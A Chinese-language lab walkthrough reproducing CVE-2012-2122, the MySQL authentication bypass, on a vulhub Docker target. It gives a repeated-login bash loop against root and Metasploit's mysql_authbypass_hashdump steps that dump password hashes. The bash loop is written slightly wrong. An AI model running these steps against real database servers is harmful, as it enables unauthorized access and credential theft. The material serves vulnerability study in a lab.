漏洞CVE 2012-2122复现
目录
一、漏洞复现思路及Mysql身份验证绕过原理
1.实验环境与思路
- 环境准备:
- 靶机:centos7通过docker容器与vulhub靶场来部署漏洞CVE 2012-2122镜像环境
- (1)攻击机:centos7配置好mysql服务通过shell命令进行攻击,需要注意:我这里靶机与攻击机为一台,mysql默认端口为3306,而我将默认端口3306该为12345,所有没有占用我们所搭建的靶机环境中的3306端口以至于能够攻击成功)
- (2)攻击机:使用kali通过其自带的msf进行渗透爆破得到密码表
2.Mysql身份验证绕过原理
- 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录。
- 影响版本:MySQL 5.1.x before 5.1.63
5.5.x before 5.5.24,
5.6.x before 5.6.6,
MariaDB 5.1.x before 5.1.62,
5.2.x before 5.2.12
5.3.x before 5.3.6
5.5.x before 5.5.23
二、漏洞复现
1.搭建vulhub靶场
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
mkdir /vulhub
#这个git clone 不稳定,建议用下面的zip文件来还原靶场文件 git clone
https://github.com/vulhub/vulhub.git
或者下载zip文件
https://github.com/vulhub/vulhub/archive/master.zip
yum install -y unzip zip
#下载unzip工具
unzip vulhub-master.zip
#解压zip文件
2.用docker-compose部署漏洞CVE 2012-2122
这里要注意,关闭防火墙后,要重新启动下docker,否则不能安装成功
cd /vulhub-master/msyql/cve2012-2122
systemctl stop firewalld
service docker restart
service mysqld stop
curl -L "https://github.com/docker/compose/releases/download/1.26.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose
#设置docker-compose的安装目录#安装docker-composedocker-compose -version
#查看docker-compose的版本
docker-compose up -d
#运行容器
docker ps -a
#查看容器
netstat -ano|grep 3306
docker stop 46147df25e27
这里我们停止sqli-labs靶机,防止他占用3306端口
docker exec -i -t 209fbfa2fd38 /bin/bash
进入当前容器中
ps -ef|grep mysqld
mysql -u root -p
3.第一种攻击方式 shell命令攻击
在宿主机攻击docker容器里的靶机输入如下shell命令,发现自动登陆成功
for i in seq 1 1000; do mysql -u root -P3306 -password=bad -h 192.168.8.140 2>/dev/null; done
- -P3306
4.攻击方式msf攻击
Metasploit(MSF)是一款开源的漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供正真的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现,通过Metasploit可以快速的发现漏洞并快速实施攻击和测试。
打开kali,利用
msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Auxiliary:辅助模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得远程目标系统的访问权限的代码组件。利用mysql的权限绕过模块得到哈希密码值set RHOSTS 192.168.8.140
==rhosts 设置需要进行漏洞验证的主机IP ==set THREADS 100
run
然后 run 开始进行漏洞验证
得到密码表
由下图可以看出密码表的存放位置为
/root/.msf4/loot
下
cd /root/.msf4/loot
cat 20220825175830_default_192.168.8.140_mysql.hashes_006412.txt